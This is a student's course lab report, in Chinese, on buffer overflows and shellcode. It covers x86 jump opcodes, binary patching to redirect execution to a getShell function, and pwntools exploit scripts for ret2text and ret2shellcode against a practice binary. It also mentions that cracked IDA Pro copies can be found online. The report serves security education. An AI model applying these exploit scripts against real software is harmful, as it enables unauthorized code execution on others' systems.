20222314 2024-2025-1 《网络与系统攻防技术》实验一实验报告
姓名：陈振烨
学号：20222314
实验日期：2024/09/29 — 2024/10/09
实验名称：缓冲区溢出和shellcode
指导教师：王志强
实验要求：
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码（0.5分）
2.掌握反汇编与十六进制编程器 (0.5分)
3.能正确修改机器指令改变程序执行流程（0.5分）
4.能正确构造payload进行bof攻击（0.5分）***
5.注入一个自己制作的shellcode并运行这段shellcode
实验步骤：
1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
(1). NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
(2). JNE：条件转移指令，如果不相等则跳转。（机器码：75）
(3). JE：条件转移指令，如果相等则跳转。（机器码：74）
(4). JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）
(5). CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2.掌握反汇编与十六进制编程器
反汇编工具：objdump ida_pro
十六进制编辑器：vim中的xxd指令，winhex，010editor，sublim等
objdump使用方式：objdump -d [filename]
IDA_pro使用方法：先对elf进行checksec，确定文件是32位还是64位，随后用对应的程序打开（9.0版本不需要区
分），若是exe文件，则exeinfo查询信息后打开（其实也可以直接试）
vim查看16进制 ：在vim打开文件后，输入:%!xxd ,若进行了修改，在wq之前一定要:%!xxd -r，否则文件类型会出错
其他查看方式 ：此处不再赘述，尤其是ida，不破解需要爆金币，可自行搜索，网上基本都有下载及破解方式
3.能正确修改机器指令改变程序执行流程
既然要修改机器指令，那么首先就要学会去查找原本的机器指令以及汇编程序，从而我们首先使用objdump查看具体的函数和机器指令：(第一列为内存地址，第二列为机器指令、第三列为机器指令对应的汇编语言)
这里我们主要关注红框所框出的getShell(),foo(),main()三个函数的汇编指令
观察main函数发现，call 跳转到了foo函数，而根据对文件的运行测试发现，它只会简单回显任何用户输入的字符串。根据实验要求，我们需要修改可执行文件，改变程序执行流程，直接跳转到getShell函数。因此，需要将call 8048491中的地址8048491修改为getShell的地址804847d,偏移量=8048491-80484ba=-41。补码表示为0xffffffd7，与第二列机器指令中的0xd7ffffff相吻合。由此可知，要想调用getShell，偏移量为0804847d（getShell函数的首地址）-80484ba=-61=0xffffff3c颠倒为计算机存储内容，为0xc3ffffff，即需要将0xd7ffffff修改为0xc3ffffff。
接下来对机器指令进行修改，先用vim查看文件的16进制，按照前面所提到的方式，vim后输入:%!xxd进入如图所示的界面，/d7ff查找机器指令
修改d7为c3,一定要记得先:%!xxd -r后再:wq，否则文件类型会出错
随后运行文件，./pwn1，成功getshell
4.能正确构造payload进行bof攻击
毕竟我是打ctf的，这里我想使用我自己的方法，所以我没有按照参考文档进行，这里掏出我的ubuntu虚拟机，那上面我已经部署好了pwn的相关环境
针对第四题，其实就是一道简单的ret2text，先对文件进行checksec
可以看到这是一个32位的小端程序，很好，没有NX和canary
正常情况下，刚才的objdump已经给出了函数的地址信息，但是这里为了展示一下ida的界面和用法，用32位ida打开文件重新分析
32位程序差四位，由此我们可以编写payload=b'A'*(28+4)+p32(getShell_addr)：
EXP如下：
#r2t.py
from pwn import *
p=process("pwn2")
getShell_addr = 0x0804847d
payload = b'A'*(28+4) + p32(getShell_addr)
p.sendline(payload)
p.interactive()
运行后成功getshell
5.注入一个自己制作的shellcode并运行这段shellcode
ret2shellcode中比较一个关键的点就是寻找寄存器的地址,只有这样才能让shellcode被注入到可执行的段落，先利用execstcak -s pwn1命令禁用掉NX保护（其实在前文中可以看到NX并没有被开启，但是不知道为什么，不进行这一步是打不通的，应该是因为我的checksec出现了一些小bug），同时要注意禁用下ASLR
利用gdb调试，先进行一波注入测试（在root下gdb，不然那个地址好像会出错），在puts下断点，r运行后输入32个A和一堆零
from pwn import *
p = process("pwn1")
shellcode = asm(shellcraft.sh())
payload2 = b'A' * 32 +p32(0xffffd0a0)+shellcode
p.send(payload2)
p.interactive()
运行后成功getshell
这里就要说的我要吐槽的一个点了，其实就算开启了ASLR和NX保护也是可以打的，因为这是一个典型的小段32位程序，有gets和puts，且.plt.got表十分好找且地址正确，按道理来说不论是syscall（只能打关ASLR）还是ret2libc（这个能打保护双开），都可以通过一波注入泄露puts的真实地址，随后找到合适的libc库，结果就在我做拓展的时候，我发现虽然能找到system函数和/bin/sh字符串，但是这个程序居然没有int_80x？？？？？？（我满脑子都是纳尼）这就意味着我们没法通过中断指令进行系统调用，从而ret2syscall这一条路就彻底给我堵死了，后来我进行ret2libc时遇到了一个经典问题就是同长度同传参的segmentation fault，并且泄露的puts的real地址在关掉ASLR后竟然是一个抽象的0x61616161，当然后来这个问题我解决了，随后我又遇到了一个逆天的问题：本地打不通，我非常确信我的脚本绝对没问题了，毕竟在ctf时也经常出现本地打不通但是远程可以打通的问题，不管怎么着都是一次做题经验，无所谓了就是说（）
